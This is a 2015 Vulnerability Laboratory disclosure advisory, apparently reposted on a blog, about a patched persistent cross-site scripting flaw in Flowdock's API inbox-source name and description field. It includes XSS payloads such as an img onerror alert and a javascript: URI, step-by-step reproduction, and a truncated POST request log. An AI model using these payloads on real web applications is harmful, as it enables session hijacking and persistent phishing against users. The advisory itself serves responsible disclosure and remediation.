===============
Flowdock API Bug Bounty #1 - (Description) Persistent Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Release Date:
=============
2015-09-22
Vulnerability Laboratory ID (VL-ID):
==============================
1560
Common Vulnerability Scoring System:
==============================
3.8
Product & Service Introduction:
==============================
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, mobile & web.
Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 days. Keeping Flowdock`s
environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t hesitate to contact us
at support@flowdock.com should you have any questions about Flowdock`s security.
(Copy of the Vendor Homepage: https://www.flowdock.com/
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Flowdock online service web-application.
Vulnerability Disclosure Timeline:
==============================
2015-08-06: Researcher Notification & Coordination (Hadji Samir)
2015-08-07: Vendor Notification (Flowdock Security Team - Bug Bounty Program)
2015-08-08: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program)
2015-08-10: Vendor Fix/Patch (Flowdock Developer Team)
2015-09-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Rally Software
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
An application-side input validation web vulnerability has been discovered in the officialFlowdock online-service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable context function or service module.
The vulnerability is located in the name input field of the inbox souds flowdock api service. Remote attackers with low privilege application user accounts
are able to inject own malicious script codes to the application-side of the service. The request method to inject malicious context is POST and the attack
vector is located on the application-side of the flowdock api web-service. Remote attackers are able to inject malicious script codes to the application-side
to compromise flowdock accounts by session manipulation or session evasion attacks.
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
and persistent manipulation of affected or connected service module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Inbox Source - Flowdock API
Vulnerable Parameter(s):
[+] description
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege application user account and low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Create acount with name have a payload code
2. Click to add more sources..
3. Click add new (Git)
4. Will open new link https://www.flowdock.com/jari/
5. Now, the payloadcode will execute
6. Successful reproduce of the application-side vulnerability!
PoC: Vulnerable Source
<li class="row source-group active external_application open"><h5 class="group-title">
<a class="expand-link">
<i class="fa fa-caret-right arrow closed-only"></i>
<i class="fa fa-caret-down arrow open-only"></i>
"><img src="x" onerror=alert(1)>
<span class="count light">(following 1 source)</span>
</a>
</h5>
<ul class="source-list"><li class="source"><ul class="clean actions">
<li>
</li>
<li>
<a class="delete" title="Remove this source.">
<i class="fa fa-fw fa-times"></i>
</a>
</li>
</ul>
<h5 class="source-title" title=""></h5>
<span class="name">
javascript:alert(1)
<span class="description">
(Added by "><img src="./ img src= c onerror=prompt(document.
</span>
</span>
</iframe></span></span></li></
</li>
--- PoC Session Logs [POST] ---
13:21:13.734[746ms][total 2805ms]
Status: 200[OK]
POST https://www.flowdock.com/jari/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1235] Mime Type[text/html]
Request Headers:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
Accept[text/html,application/
Accept-Language[en-US,en;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://www.flowdock.
Cookie[__cfduid=
Connection[keep-alive]
Post Data:
authenticity_token[
flow[08bbf4d6-90bb-4e5d-9639-
flow_name[%3Cimg+src%3Dc+
flow_token[
source%5Bname%5D[%22%3E%
Response Headers:
Date[Fri, 07 Aug 2015 12:24:35 GMT]
Status[200 OK]
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
X-Content-Type-Options[
Content-Security-Policy[
Content-Type[text/html; charset=utf-8]
Etag[W/"
Cache-Control[max-age=0, private, must-revalidate]
X-Request-Id[d52e57ab-6c07-
X-Runtime[0.160761]
Set-Cookie[_jari_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[1235]
Reference(s):
https://www.flowdock.com/
https://www.flowdock.com/jari/
https://www.flowdock.com/jari/
https://www.flowdock.com/jari/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerbale input field in the source html file.
Restrict the input and disallow special chars, Escape and include an own exception handling to prevent further execution of script code in the same service section.
Prevent the part of vulnerable code to execute in the output section to finally patch the bug.
Security Risk:
==============
The security risk of the application-side vulnerability in the flowdock online service web-application is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2015 | Vulnerability Laboratory [Evolution Security]
Komentarų nėra:
Rašyti komentarą